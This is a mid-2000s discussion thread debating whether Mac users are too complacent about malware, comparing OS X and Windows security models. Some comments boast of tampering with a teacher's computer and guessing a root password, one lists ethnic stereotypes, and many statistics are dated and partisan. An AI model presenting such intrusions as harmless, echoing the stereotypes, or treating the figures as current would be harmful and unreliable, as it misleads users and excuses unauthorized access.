Mac users 'too smug' Over Security?

wild_berry writes "Bill Thompson, one of the BBC's technology commentators and presenter of Go Digital on the BBC World Service, expresses his concerns that Mac users assume their safety in the face of trojans, worms, keyloggers and other malware. As a Mac user he is most concerned about the lack of herd immunity that is needed to stop a few infections becoming an epidemic, fully explained in his column week for the BBC technology site. Is he right, and what actual products exist for OS X that would protect against infections?"

Comments

Dead On

[eldavojohn]

This article was dead on.

My first ever encounter with this mentality was in high school when my music theory instructor told us that she loved her Mac and when I tried to argue with her about a number of things, she'd repeatedly reply with "No Mac has ever been hacked or had a virus on it."

Now, at the time, I was a young nooblet and probably should have let it slide but instead I snuck into her office and opened up her Macintosh's word editing software with the intent of some lil' bastardry. I found the option to replace a mistyped word with another that the user entered. After that, whenever she typed the word "the", it was replaced with "WARNING! VIRUS DETECTED! PULL PLUG FROM OUTLET AS SOON AS POSSIBLE!" Unfortunately, her son knew enough about computer to fix it so my fun didn't last very long (only one or two lunges at the wall).

Back to the issue--I think it is a grave mistake for anyone to ever feel 100% invulnerable when it comes to computers that are connected to the internet in anyway. I would diagnose this as a standard case of a false sense of security. This is something that has plagued many people throughout history and often led to their downfalls.

What message am I trying to get across to Mac users? First, realize you're not invulnerable. Second, just browse around and look at what's out there for you to use as anti-virus and virus blocking tools. And if you don't want to, read some horror stories, perhaps that will motivate you to become aware of possible worms in your Apple.

Re:Dead On

[pwhysall]

That link doesn't even mention OS X, and is dated 2000.

Re:Dead On

[heavy snowfall]

Good job replacing the FP trolls with real comments. You must be reloading /. a lot. :)

Re:Dead On

[KiloByte]

Well, then tell me why all the virii listed there are either OS9 or Microsoft Office ones?

Indeed, old Macs suffered from security problems -- this is why Apple made the decision to go for a burned ground rewrite. Because they realize that sometimes you can't fix bad design in a milder way.

I'm not a Mac fanboi, hell, I haven't even seen a Mac in my entire life (if porting several pieces of software over ssh doesn't count) -- but I can't remember hearing any unofficial product of the AV industry or their "unconnected" contractors being able to survive in the wild on OS X fruits. Sure, you can pwn users of any OS, but I wouldn't call "please-run-me" trojan as a viable virus.

In other words: Macs are not perfect, but are pretty good. Same applies to *BSD, most Linux distros, Solaris, HP SUX, etc, etc... -- in other words, any major OS made by any company other than Microsoft.

Re:Dead On

[ciroknight]

First of all, after my Googling, has there EVER been a virus for OS X? Seriously?

Secondly, any kid who's seen an AOL commercial realizes how bad viruses are. n new viruses a day. 50k Windows viruses and counting. And Windows still has no way to stop these things, whereas OS X/Linux/*BSD are designed from the ground up to be immune to the kinds of attacks that Windows gets constantly pounded by.

Next, look at the patch release time. Open Source developers get patches out almost the instant a volunerability is found that is considered to be serious enough to be patched. Mac OS X is an OS project (and thusly, all of the nasty bits that generally cause problems like network applications are OS), with a nice pretty closed GUI. Sure there have been security holes in their products, but they are extremly quick about getting patches out. Microsoft has proved time and again to be a beast of burden when it comes to patches, as seen just recently after it took them over a week to patch a ZERO DAY exploit.

No, Mac users aren't invulnerable. We're simply more secure overall. And we're proud of that.

Re:Dead On

[ciroknight]

Better yet:

There are around 40 Mac-specific viruses and related threats. ++Mac users with [Microsoft] Word 6 or versions of Word/Excel supporting Visual Basic for Applications, however, are vulnerable to infection by macro viruses which are specific to these applications. Indeed, these viruses can, potentially, infect other files on any hardware platform supporting these versions of these applications. I don't know of a macro virus with a Mac-specific payload that actually works at present, but such a payload is entirely possible. ++[Microsoft] Office 98 applications are in principle vulnerable to most of the threats to which Office 97 applications are vulnerable.

Funny. 40 Mac viruses compared to how many PC viruses? 71989 and counting according to Symantec. And the most mentioned causes of problems in security on the Mac Platform? Microsoft products. I rest my case.

Re:Dead On

[troc]

Now, at the time, I was a young nooblet and probably should have let it slide but instead I snuck into her office and opened up her Macintosh's word editing software with the intent of some lil' bastardry.

You gained physical access to a computer. That has nothing whatsoever to do with network security. All modern computers, PCs, macs, unixes, linux etc can and should be password protected when you aren't there and they are in a place where they could be physically accessed if you don't want people playing with them. We are discussing stuff that arrives remotely, via email, malware, security holes etc.

We can all break into a house and physically steal the data if it's not secured and that has nothing to do with the architecture of the computer.

Re:Dead On

[djsmiley]

I second this, i met the same resistance when in college (highschool to you kids in the u.s.). At the time we had a lecturer, who wasn't only cocky (which is bad enough) but so sure of him self in every field, although he knew nothing about computers. (It was a multimedia course).

To make matters worse, he didn't even buy the mac he used in college, he made them pay for that as part of his "materials". Eitherway, we had a room full of windows pcs, and a room of macs. Both were plagued by problems, but due to some nice *(supprisingly) network monitoring, vlans, etc by the college, most of the time the problems were contained.

To put a spin on things, i informed the lecturer that the windows pc's were going to suffer due to the fact they had high power gfx cards (which we would use for rendering) and only 300w psus. The guy decided from this point on that i was a know it all, and that anything i said would automagicly be wrong.

After all teh various fun with computers, we started getting the dreaded "hostname or ip exists on network" problems, where people had acidently, or deliberlty changed their IPs so that another machine ended up being kicked off the network when it rebooted.
I was the lucky guy on the course, i got to have the printer connected to my machine! (Scarcasim!!!) One day i got the dreaded message, but knowing what caused it, i checked my hostname and found another pc on the network sharing it. So i changed the hostname and ip of my machine and hey presto, my internet access (*which i DID need for this kind of work) once again worked.
After a little while people had to print out work and it failed over and over, due to the ip and hostname of hte printer server (my machine) being changed... the whole class was accused of "Passwording the printer" which is something im still not sure you can do i windows without creating new users etc.

However, this was the extent of the damage that was ever done on windows machines.... With the macs? well, they wuold blow up, lose work, mess us around, not have the same fuctions we used in windows (In the same programs... photoshop, illustrator, lightwave...)

fun for all the family, couple this with the fact we were using zip disks: /

Re:Dead On

[ErroneousBee]

Whilst you are correct that no OS is completly secure, doesnt it say something that the page you link to lists 40ish Mac viruses, but doesnt even bother to enumerate the 1000s of Mac viruses that are in fact MS Word macro viruses?

The truth is, you have one anecdote of not-a-virus, vs. several years worth of no serious flaws unpatched for long periods, no botnets spamming away, no Sony rootkits, and no real need for desktop virus protection.

Unix variants have security built into the O/S, with superuser access required to install software, and executable files requiring a clear marker that they are executable. Windows still has a bolt-on system that only protects from inturusions after the fact. Any intrusions are seen as a problem in the O/S, not as something requiring an update to the database.

Re:Dead On

[nine-times]

Second, just browse around and look at what's out there for you to use as anti-virus and virus blocking tools.

Yes, look around at the anti-virus market for Macintosh and evaluate which product is best at protecting your Mac from all those viruses and worms that don't exist yet. And then pay $50 in order to protect yourself from those non-existant viruses.

I'm not saying there will never be viruses for the Mac, but I wouldn't advise the average user to start freaking out until there are some real threats. There won't even be worthwhile antivirus products until there are real threats to protect against.

Re:Dead On

[dc29A]

In other words: Macs are not perfect, but are pretty good. Same applies to *BSD, most Linux distros, Solaris, HP SUX, etc, etc... -- in other words, any major OS made by any company other than Microsoft.

IMO, there is more to the "*nix* is more secure side of the problem.

The problem is purely "economical". Most scumware writers are in for the money. Yes there are exceptions, but mostly it's about green pieces of paper with dead presidents on them. SPAM, phishing and scams work with volumes. If you, as a hacker, want to target as many potential victims as possible you need to attack the biggest possible group of people using the same platform, Windows. Why would a hacker spend time and resources trying to hack a Mac when only 3.some% of the world uses it when there is huge windows PC monoculture used by 95+% of the planet?

Second, Windows hardened is fairly secure. Problem is, out of the box, it's not secure. Everyone and his grandma is root. IE is deep in the OS. This gives an advantage to *nixes, not saying *nixes don't have security holes.

I would bet that if a Linux vendor would take 90% of the desktop market, it would be a big target for malware writers. And if this vendor would allow, and encourage people to use root accounts for their regular PC usage, it would be almost as bad as Windows.

Re:Dead On

[bbernard]

That link doesn't even mention OS X, and is dated 2000.

Actually the article is quite recent: "Last Updated: Monday, 16 January 2006, 09:32 GMT" and does, indeed, discuss OS-X: "Mac OS is built on top of the Unix operating system." If I remember correctly, the first version of Mac OS to be built on a Unix platform was OS-X. But, not being a Mac zealot ^H^H^H user, I may be mistaken.

Re:Dead On

[Ubergrendle]

My initial response: "Ohhhh, the smuggness is _just_ about security!"

Come on now, deep down we all know that every Mac user owns a black turtleneck.

I kid, I kid... ;)

Re:Dead On

[pwhysall]

My post is referring to the link given in the grandparent comment, not the story.

Apologies for the confusion.

Re:Dead On

[tolan-b]

The OP was just relating a story about a smug Mac user and how they scared them into *thinking* they'd been hacked.

Mac much?

Re:Dead On

[bbernard]

40 Mac viruses compared to how many PC viruses? 71989 and counting according to Symantec. And the most mentioned causes of problems in security on the Mac Platform? Microsoft products. I rest my case.

That's beside the point of the article. The article wasn't blasting security on the Mac, it was pointing out that Mac's are susceptible to problems to. Doesn't the vulnerability of software running on a Mac constitute a security problem on the Mac? If I can get in does it matter if it's through the OS directly or through an application?

The article was suggesting that Mac users need to be every bit as cautious as the "rest of us" on our Windows boxes. It was railing against the same type of thinking that causes parents to decide not to get their children vaccinated against things like measles because you never hear of measles cases anymore. Of course not! It's because we've been vaccinated! So Mac users: go get your booster shots.

Re:Dead On

[MasonMcD]

when I tried to argue with her about a number of things, she'd repeatedly reply with "No Mac has ever been hacked or had a virus on it."

Now, at the time, I was a young nooblet and probably should have let it slide but instead I snuck into her office and opened up her Macintosh's word editing software with the intent of some lil' bastardry.

So in the face of her computer never having been hacked, you physically sat down at her computer and hacked it?

Good thing she didn't say she's never had her house broken into, or her virtue compromised.

Re:Dead On

[blakestah]

The differences between Windows and Mac wrt security extend far deeper than that.

Windows ships with ports open for non-essential services, has effectively no firewall, and encourages users to act with permissions that allow them to access every file on the system.

Mac OS X ships with no ports open at all, has a usable firewall, and encourages users to act with only as many permissions as are necessary to get the job done.

That's not to say Mac viruses will never happen, because they will, but the architecture of security into the system make it a far far far safer place.

Disclaimer: I'm a UNIX user who uses a Mac because I want a good shell and I hate lockups. I also use Windows when dragged kicking and screaming into it, but I shut off all non-essential services, and ActiveX, and buy a cheapo NAT firewall device before I connect it to anything. And I use Firefox unless I HAVE to use IE. Viruses cost WAY WAY too much in the workplace not to be safe by default.

Re:Dead On

[Stan Vassilev]

"What message am I trying to get across to Mac users? First, realize you're not invulnerable."

You may as well give up. Noone hears what most of us were telling to Mac users for the past 20 years so why would they hear now.

In their world, OSX is incredibly advanced, incredibly fast, indestructible, and Mac trojans and virii don't exist.
Not to forget that they truly believe our PC days are riddled with frequent BSOD-s, bad performance and random restarts which we accept for given.

Nothing will teach them better than leaving them alone until it bites them in the ass.

The big obstacle was that most hackers and malware writers just have PC-s themselves, so they naturally target Windows and Linux more than Mac.

With the widespread distrubution of OSX86 on all kinds of P2P networks, this might very soon change.

Re:Dead On

[earthbound kid]

According to Wil Shipley, there has been maybe one real virus for Mac OS X, maybe. Even then, it didn't spread much and no one's sure if it really existed in the wild and it may have just been a trojan.

Re:Dead On

[kestasjk]

OS X/Linux/*BSD are designed from the ground up to be immune to the kinds of attacks that Windows gets constantly pounded by.

They couldn't have been designed from the ground up to be immune viruses because they were designed before they were even around.
Common e-mail viruses have nothing to do with the specific operating system anyway; user opens a file he gets in an e-mail, it sends itself to other e-mail addresses it finds. There's no reason you couldn't write a virus to do it for UNIX, other than it wouldn't spread because there are so few people who use UNIX and would execute an e-mail attachment.

This sort of blind overconfidence is exactly what the article was talking about..

Re:Dead On

[ZombieRoboNinja]

Now, at the time, I was a young nooblet and probably should have let it slide but instead I snuck into her office and opened up her Macintosh's word editing software with the intent of some lil' bastardry. I found the option to replace a mistyped word with another that the user entered. After that, whenever she typed the word "the", it was replaced with "WARNING! VIRUS DETECTED! PULL PLUG FROM OUTLET AS SOON AS POSSIBLE!" Unfortunately, her son knew enough about computer to fix it so my fun didn't last very long (only one or two lunges at the wall).

You playing with Autocorrect != a "trojan or virus."

Re:Dead On

[Anonymous Coward]

Reading comprehension is a dead art, you see. I got your point right away without any confusion.

Re:Dead On

[Mac Scientist]

I found the option to replace a mistyped word with another that the user entered. After that, whenever she typed the word "the", it was replaced with "WARNING! VIRUS DETECTED! PULL PLUG FROM OUTLET AS SOON AS POSSIBLE!"

This is an example of a "trusted" co-worker doing mischief to an unprotected computer, and as such, it has NOTHING to do with computer viruses.

Yes, it is important to protect your Mac with proper login security procedures.
Yes, maintain an anti-virus application so your Mac doesn't harbor a PC virus.
No, don't panic over yet another scare monger announcement of Mac viruses soon-to-be-appearing on a computer near you.

Re:Dead On

[Millenniumman]

Why would a hacker spend time and resources trying to hack a Mac when only 3.some% of the world uses it when there is huge windows PC monoculture used by 95+% of the planet? Because, while on Windows viruses are routine, a Mac virus would cause something of a calamity. The writer would get many computers infected. And no, most people who write viruses aren't in it for the money. They want fame, or just the knowledge they damaged a bunch of other people's computers. Someone who wrote a Mac OS X virus would become famous, as it would be the first, and it would infect many computers, as there is nothing to protect against Mac viruses. Now perhaps some adware is made to make money, but even a lot of cross platform applications that install what can be considered adware on Windows do not do so on Macs. The community response would be very damaging to that company. If a Mac virus was more than theoretically possible, there would be one. Remember, there were Mac OS 9 viruses, and it had a lower marketshare than Mac OS X. Spam and phishing have little to do with computers. Only common sense can solve those problems.

Re:Dead On

[dirty]

Well there's also the fact that UNIX systems have an execute bit instead of relying on file name to determine executables. On any UNIX system the user would need to save the file to disk, set the execute bit, and then run it. At that point the user has absolutely no one to blame but themselves. Even at that point the security settings on the average UNIX system would limit the damage to the user's account and not the entire system. It's not perfect, but it's a lot better than Windows.

Re:Dead On

[NardofDoom]

The site you linked to covered a wide variety of the 30 or so viruses available for the Mac. None of which run in OS X. A few of which are spread using Hypercard, which has been discontinued.

1995 called. They want their FUD email back.

Re:Dead On

[Anonymous Coward]

You're an idiot...*nix isn't "designed from the ground up" to be better against viruses. There are some common config options that are used that limit virus impact but your attitude is the very thing that's being warned against...get a clue.

Re:Dead On

[dirty]

And what year was this? What OS were the Macs running? Was there a Mac admin available or was it a Windows admin who "knew something about Macs"? Also, I'm inclined to call bull shit on the part about Photoshop and Illustrator having different functions available on Windows and Mac.

Re:Dead On

[Midnight Thunder]

I am a Mac user, albeit one that also spends equal time on Unix and MS-Windows, and realise there is an equal proportion of Mac and Linux users who reckon just because you aren't logged in as root you suddenly become invunerable to viruses and worms. In fact there have been viruses that targeted the pre-MacOS X systems and even a few worms that targeted BSD in the past.

True security is an active mechanism: The three points on security:

1. No castle wall in the past ever kept the invaders out indefinetly
2. Never understimate a determined person.
3. In view of points of 1. and 2. you are truely a fool if you think you have found the perfect method of security.

I suppose I could add 4: You are also truely a fool if you a salesman convinces you that their product is 100% secure to all security issues. It may be safe today, but we don't know what tomorrow holds.

Re:Dead On

[arivanov]

You need to read non-Apple security material more. When MacOS X came out a whole list of setuid apps used by the "pretty shell" to tell the OS to do simple things like load a CD or eject it had security wholes all over the place. http://www.derkeiler.com/Mailing-Lists/securityfoc us/bugtraq/2001-10/0117.html is a prime example. I admit Apple learned from its mistakes pretty fast, but the initial release of MacOS X was one big local security hole. You are correct - networkwise it was more or less OK, but once someone managed to connect it was ripe for picking.

Re:Dead On

[dirty]

So you've been warning that the end is coming for 20 years now and it still hasn't. This is supposed to be a warning? Mac OS X is not invincible, but it is a good deal stronger than Windows. OS X allows you to work in a non-admin account and still do everything you need to use your computer, even install most applications (the ones that don't need specific installers). If you try to do just about anything you don't have permission to do it asks you for an admin password and runs as admin for that specific function only. Even admin accounts have to type in their password before performing certain tasks. Of course this doesn't prevent the user from typing in their password when a trojan asks for it, but it should make just about any user stop and think for a second about what they're doing.

Guess what, Mac OS X trojans are rare if they even exist, viruses don't exist (virii is not a word), and OS X is advanced.

No it is not indestructable, it just seems that way compared to Windows.

Re:Dead On

[NutscrapeSucks]

Mac OS X comes with about a dozen ways (package formats, disk images, etc) that users can download and install software without ever touching an "execute bit". So it's not really a relevant point here.

Re:Dead On

[Crayon Kid]

The article was suggesting that Mac users need to be every bit as cautious as the "rest of us" on our Windows boxes. It was railing against the same type of thinking that causes parents to decide not to get their children vaccinated against things like measles because you never hear of measles cases anymore. Of course not! It's because we've been vaccinated! So Mac users: go get your booster shots.

The way I see it, it's like the recent bird flu hype. It's been around for years now and yet we're not running scared of it. Sure, theoretically you could have bad luck and catch it and die for sure, but we still laugh at the chances. That's viruses on Mac. [b]The odds are so small that Mac users can afford to be smug.[/b]

Re:Dead On

[kfg]

Do any of them autoexecute with root by clicking on an email?

KFG

Re:Dead On

[Anonymous Coward]

"OS X/Linux/*BSD are designed from the ground up to be immune to the kinds of attacks that Windows gets constantly pounded by."

Which is fairly meaningless, when most distributions aren't security conscious, and hardly any applications are written for security.

rpm -i php lately? I hope you're planning on checking for an upgrade every other day. ;) awstats? exploitstats!

The fun part is, just like on Windows, upgrading software on Linux can lead to things breaking, so upgrades have to be tested first. Which of course, takes time.

People have this ridiculous idea that Linux/et cetera are 'secure' or 'more secure'. When your 'more security' is having an unlocked door, rather than no door at all, it ain't much of an improvement.

Re:Dead On

[wbd]

Dead on? No: dead horse. As in "beating a dead..."

Three percent? No. Despite what the MS and Linux fanbois want to clam, the current Mac market share is almost 7% and growing, and that's SALES, NOT installed base. Installed base is obviously higher, around 15%-20% according to estimates. And no, these are not stats from Apple, who never talks about such things.

So the main reason there aren't any Mac viruses and very few Unix/Linux viruses (in comparison to Windows) is not availability of units to infect, there are millions and millions. It's because virus writers are 99.9% of the time dumb little jerks or crooks with who have little or no real computer skills, writing it on a cheap PC clone in their bedroom, or are already somewhat slimy felons or maladjusted individuals.

Hell, most of the PC viruses are just variations on a few major themes, too, again because of the lack of skills of the virus writers. There are around 100,000 Windows viruses and NO MacOS X viruses simply because it's much, much more difficult to write a virus or worm of any sort on Mac OS X or other Unixes and very very easy to do on Windows. The folks who can write Mac or Unix software can usually make a lot more money and get a lot more kudos writing useful software than wasting time screwing around writing viruses.

And then there's the fact that most of the Unix and Linux boxes are servers, not user machines, so you can't even taken advantage of the "Click me" method of spreading. Also, Mac OS X warns you if you try to open an executable attachment.

Can Mac users get a virus or worm? Sure, anything is possible. It simply isn't likely. And even if there is one, it'd usually have to get past system authentication to do anything but wipe out a user's home folder, if it was written like the typical Windows style virus. The ones that get through most of the security holes are MUCH harder to craft (even on Windows).

So after 5 years of OS X and zero viruses, Mac users are just not losing any sleep over it. Should we? Maybe, but it's been our experience that most anti-virus products cause more problems than the viruses do!

I understand the motivation of these article authors. It's three part:

1. Bringing it up is always sure to generate a lot of hits and visibility, since they generally don't present all the facts, or current facts, or have done any research or present any historical perspective. They're not wrong, but so far history has shown they are just crying "wolf" too many times. Until there IS a virus, wasting our time.

2. They may be shills for the anti-virus vendors, who aren't making much money on Macs since their annual subscriptions not having any updates for FIVE YEARS or more are looking to be a bad value.

3. They are anti-Mac and just trying to spread FUD.

4. The last (and least) reason is that there IS a minor concern. Not that any of these articles ever presents the full facts or details.

I'll start to worry about viruses on the Mac as soon as there is one. To some that may seem to be too late, and perhaps I'll regret it....but why destablize my machine now with crapware from Symantec and others? Hell, as I recall even Apple stopped providing anti-virus tools with .Mac because it caused more problems than the risk of viruses did. Symantec tried to resort to FUD tactics to up sales of their virus software and subscriptions a while back because most Mac owners just didn't see the need for it anymore. It's widely know that most Mac owners don't use it. So either the virus writers dont' know the facts, or are trying to write them and just don't have the skills. Likely it's a bit of both.

And chances are, even if there WAS a virus, it would get past the anti-virus stuff anyway, so why worry until there is something to worry about? Instead we're bombarded by this FUD several times a year for the last five or six years...and still no malware on the Mac. Among the best anti-virus methods aro

Re:Dead On

[Lifewish]

And the original article was pointing out that having a bloody well-designed operating system in no way means you're immune to hacking. It was railing against OSX as a panacea, not an OS. As such, the GP's post was in fact dead on.

Re:Dead On

[FishingAddict]

Although I agree that we (Mac fanboys of the world) may not be protecting ourselves from the eventual successfull attack, we are making the most informed, logical choice by NOT installing AV products at this time. Think about it, installing anti-virus, anti-spyware, intrusion detection, etc... software on my Macs at this time is not only a waste of time and computing resources but COULD ACTUALLY INTRODUCE VULNERABILITIES and instabilities that aren't part of OS X. Installing unneeded "protections" on an up-to-date OS X system at this time has a much higher probability of harming the system than protecting it.

Until the first real OS X virus rears it's ugly head (I concede that it will eventually) smart Mac users should be: 1) Backing up regularly, 2) leaving unneeded services disabled, 3) enabling the built-in firewall, 4) running "Software Update" at least once a week (i.e., commonly agreed upon best practices on any platform). That's it!

Re:Dead On

[sgant]

I have to admit, the only time I've ever seen a computer with a computer virus was on the Macintosh. This was back in the System 8 days though. It was a nasty one that spread through the use of Syquest disks and would infect a computer just as soon as the Syquest was loaded up.

Other than that though, I've yet to see an actual Windows virus personally. Guess I'm lucky. Or maybe I'm not an idiot when it comes to these things. Who knows.

Weird huh?

Re:Dead On

[glesga_kiss]

OS X/Linux/*BSD are designed from the ground up to be immune to the kinds of attacks that Windows gets constantly pounded by.

Bullshit with a capital AND bold "B". The Windows viruses that have done the most harm recently are trojans and NO OS can deal with that problem. Sure, they might ask "Please enter root password", but that is just a speed bump. Most users will see it as the computer asking for the root password (and not the installer) and for years we've been telling them to read what it says and do it. What do you think they'll do?

As software gets more secure, trojan attacks will become more and more common. And where will your OS-X god be then? The whole point of this article is that most computer users believe that there is nothing to worry about, be it through ignorance (most Windows users) and/or arrogance. It seems it's bang-on-the-money going by the discussions going on here.

Re:Dead On

[NutscrapeSucks]

Perhaps not, but neither do most Windows email viruses.

If you can get a Mac user to double-click on a DMG attachment, programs can automatically execute.

Re:Dead On

[Anonymous Coward]

...and every asian drives badly ...every jew has a stash of gold
---every black is a criminal
---every white person is rich

stereotyping is so funny.

Re:Dead On

[NutscrapeSucks]

Remember, there were Mac OS 9 viruses, and it had a lower marketshare than Mac OS X.

Classic MacOS had a peak of about 15% marketshare -- and it still was virutally entirelly virus free, despite the complete lack of file permissions etc. OSX has maybe 3% in comparison.

Re:Dead On

[Creepy]

It's not just config options - UNIX design offers better protection against viruses because you don't run as an admin user all the time (or do you, you naughty person?). Apple's implementation makes the admin user a sudoer (a regular user with password admin priviledges), which is somewhat worse than complete restriction like requiring root to do stuff like installs, but better than 99.99% of Windows users who run as admin because it's too painful to log out and log back in as an admin. Double so at sites using NT network login which requires you to log off completely to switch users, making any installs painful. Windows Vista will use administration similar to macosx. I said somewhat intentionally above - a bad root password is as good as no security at all. Back before anybody cared about security I hacked a university root with a guessed password god123 - every admin liked god in the name back then, so it was kinda like hacking routers with admin/admin today.

So why would sudo priveledges (generally) be worse than root but better than running as admin? Let's say you open up an e-mail with an attached virus. On NT based systems as an admin user, that virus has the run of the system and can erase or corrupt anything it chooses. On UNIX systems it can only corrupt owned files, so the running user's own files are the only files that can be affected. This virus would not know the sudo user password and therefore cannot corrupt system files. It could probably social engineer the user to enter a password or attempt keylogging and hope the user types the sudo password or root user and password (and root isn't configured on mac by default). Another huge problem starting to appear on Windows is the installation of rootkits without any knowledge of the user. Rootkits on UNIX require root to install, so generally require some social engineering to get themselves in (heck, even make it legal(ish) like spyware - pr0nripperXXX requires admin priveleges to install essential software into your operating system. Without this technology, you will not have access to free pr0n. Click Agree if you want to install the software, Disagree if you do not. pr0nripperXXX is a product of SPAM network technology LTD [SPAM networks]. By clicking Agree you agree to allow SPAM networks to distribute promotional material and adult content through and to the host system).

    Personally, I have scheduled dd backups of my user files done by a cron job just in case my admin user is compromised while my WinXP box gets them burned to DVD occasionally (tho I do a monthly dd copy using a linux partition, as well).

Re:Dead On

[xouumalperxe]

Well, unless you mean to tell us that OS X is bullet proof, and that nothing can cross its security (in which case I'll readily dismiss you as another lunatic), I don't what the point is. I still feel the same attitude around. I'm typing this on a mac, partly because of the influence some of my mac owning friends had over me (or, rather the influence their computers had over me), yet all I see from them is that same attitude. Truth be told, I am, for the time being, content with the results of security by obscurity (neither this laptop nor my linux box are likely targets), but I know for a fact that neither OS is bullet proof, and that the biggest reason no one bothers cracking them is because that wouldn't really get them much attention, or results.

Still, I'm afraid to tell you that Windows's theoretical security model is much more robust than the base Unix system (ACLs versus the muchs simpler owner/group/all permissions), and that the 2 great big problems with windows security are 1. user attitude and 2. bad implementation. I'd consider the former much more grievous than the latter, and I do blame it on Microsoft, for having worked to ensure that everyone still works as administrator at the close of 2005. OS X does promote quite the opposite, the more traditional NIX way (can't really vouch for prior versions) of working as a non-admin user, but that's not really the only thing that matters, is it?

Re:Dead On

[HairyCanary]

And yet again, the point is made -- momentary security status is strictly of secondary importance. What really matters is not how secure the software is today -- it's how secure it will be tomorrow. Apple comes out with fixes very much quicker than Microsoft does, and on top of that Apple seems to actually fix things, rather than just lay a patch over the visible hole. As you say, Apple learned from their original mistake and the current version of OSX has excellent security. Microsoft has had years to be informed of the security problems with their OS, but instead of making fundamental changes to improve security, they patch just the exploited code, and then heavily push firewall and antivirus software as a solution.

Re:Dead On

[IntlHarvester]

Another good example is how early versions of Safari would automatically download files and execute them with no user intevention.

The interesting thing about that one is that nobody exploited it -- even though it would have only required basic HTML and script language skills. Meanwhile, in the Windows world, "zero day" stuff like the WMF hole gets millions of machines.

I think it says a lot about the hacker culture on the Mac being totally Pro-Mac. A lot of Windows programmers hate Bill Gates, and a lot of Unix programmer hate Linux. But that malicous instinct is just missing on the Mac, even though some could make a name for themselves.

Plus, it's clear that the for-pay spammers and mobsters just don't see Macs as an economic software development platform. But that's true of other software like CAD also.

Re:Dead On

[Peter Bonte]

OS9 and older has some viruses (most program specific and applescript) but market share was about equal to what it is now, osX is a better system. UNIX in his days had his share of hacks and pracks but thats over now. On the other hand we are not immune to ignorant users clicking on every fun new-year app they get via the mail, the big problem is THEREZ NO GOOD ANTIVIRUS SOFT AVAILABLE FOR US, THEY ALL SUCK. :(

Re:Dead On

[XMilkProject]

When you remember that ~94% of O/S usage is Windows, and ~96% is PC in general, With the remaining ~4% being primarily MacOS usage, you will realize that 40 vs. 71989 doesn't really seem as remarkable.

Re:Dead On

[andreMA]

Still, I'm afraid to tell you that Windows's theoretical security model is much more robust than the base Unix system (ACLs versus the muchs simpler owner/group/all permissions)

OS X 10.4.x (Tiger) implements ACLs - enabled by default in the server version, easily enabled in the client version.

Re:Dead On

[tkdog]

Off topic - but the type of "bird flu" that WHO is worried about hasn't been around for years. In fact it doesn't exist today either (we hope). What their worried about is that the current very lethal avian virus will mutate into an easily spread highly lethal human variant. Real viruses are much more advanced than computer ones, but then again they have been around longer. If only our cells didn't grant root privileges. :)

Re:Dead On

[timecube]

"Funny. 40 Mac viruses compared to how many PC viruses? 71989 and counting according to Symantec. And the most mentioned causes of problems in security on the Mac Platform? Microsoft products. I rest my case."

Ahh, I see. Because security vulnerabities haven't been exploited means there aren't any! And you rest your case.

Does anyone on this site know logic? It's exactly this smugness that the article is talking about. Just be cautious, that's all. Mac's aren't immune, they are just a lot less popular than Wintel. The number of Mac OS X viruses and worms has more to do with the number of infectable systems on the internet than any sort of feature inherent in Mac OS X.

Re:Dead On

[nicklott]

Mac users 'too smug' Over Security?

I'd say you confirmed that for us.

Re:Dead On

[Farrell]

You say that it's not because of lack of user base. That OSX has 15-20% market share. Well, let's look at it with your 20% and 1 billion computers. 200,000,000 computers installed with MacOSX(even assuming the 20% number is all OSX, which makes it dreadfully inflated). 800,000,000 computers with some version of Windows, some even being 9X or ME, significantly less secure than even a default XP install, much less a locked down one. (Yes, we're not counting Linux or other variants, they truly are a small share of the desktop). We all know the infection rate isn't 100%, even with a 0day exploit(firewalls, paranoia, good lockdowns etc), so let's cut those numbers in half. 100,000,000 vs 400,000,000. If I were a virus writer, I'd be writing for Windows myself. The fame aspect is nice, but if you're making a botnet, or spam virus, or anything else, the most common kinds, then you go for the numbers.

Re:Dead On

[Millenniumman]

But Classic Mac OS's peak marketshare was before viruses were a problem. The later Classic Mac OSs' did have some viruses, and by that time it's marketshare was lower than Mac OS X's current marketshare.

Re:Dead On

[minus_273]

oh my god! i might get a HYPER CARD virus! i need to download MCAFEE (R) VIREX (R) for Mac immediately! MCAFEE (R) VIREX (R) will save me from all 40 mac viruses from the last century that no longer run on my operating system! in fact if there is a new virus MCAFEE (R) VIREX (R) wouldn't be able do anything about it since it is designed to detect stuff like trojans! I feel so safe now with my MCAFEE (R) VIREX (R).

Re:Dead On

[andreMA]

After posting, I had doubts that I'd remembered correctly. My above post is correct; you can enable and disable ACLs in Tiger (requires HFS+ format) without reformatting:

ENABLE: sudo fsaclctl -p / -e
DISABLE: sudo fsaclctl -p / -d

You do get a GUI to do this in the Server version, and I'm not sure that Apple mentions (prominently, at least) that the client version of the OS includes ACLs. A general discussion of ACLs in Tiger is here.

Re:Dead On

[Anonymous Coward]

That doesn't have anything to do with anything. The poster was not trying to show that his teachers Mac had bad security, he was just playing a practical joke. And then he told us his little anecdote which fit this context pretty well.

Re:Dead On

[miketkrw]

"When you remember that ~94% of O/S usage is Windows, and ~96% is PC in general, With the remaining ~4% being primarily MacOS usage, you will realize that 40 vs. 71989 doesn't really seem as remarkable."

4% of 71989 would be 2879 virus for the Mac. So at 40 OSX IS REMARKABLE.

Re:Dead On

[NutscrapeSucks]

Huh? Viruses were a huge problem back in the 90s. They just tended to spread via sneakerware rather than email. But vendors never patched or made design changes to stop them.

Anyway, back in the really old days when most Macs only shipped with floppy drives, Mac viruses were actually significant, data-eating problem. Most of those just stopped working accidentially with System 7 and so on.

Re:Dead On

[Angostura]

Virtually virus free? I worked in publishing in the early 90s using Macs and I would say about 30% of the floppies that came in had some kind of virus on them. Luckily there was the excellent freeware Disinfectant by the splendid John Nortstad - that sorted everything out until it was discontinued in 1998. Every Mac had the disinfectant init installed and the machines were religiously updated.

I took a hiatus from personal Mac use until the advent of OS X, since then I've only seen Word macro viruses.

I don't currently have a virus checker installed, am I complacent? Maybe.

Re:Dead On

[Fordiman]

The point of TFA is that Macs don't get the kind of scrutiny that Windows machines do.

This is, by the way, not even mentioning the following: Now that OS-X, Windows, and Linux all run on the same hardware, spreading a fully cross-platform virus is easy. The virus first attempts to identify the target machine. Upon doing so and diagnosing apprent weaknesses, the virus then packages the relevant position-independant code in an appropriate executable container (ELF for linux, PE for Windows, a.out or unibin for OS-X) and set the entry point.

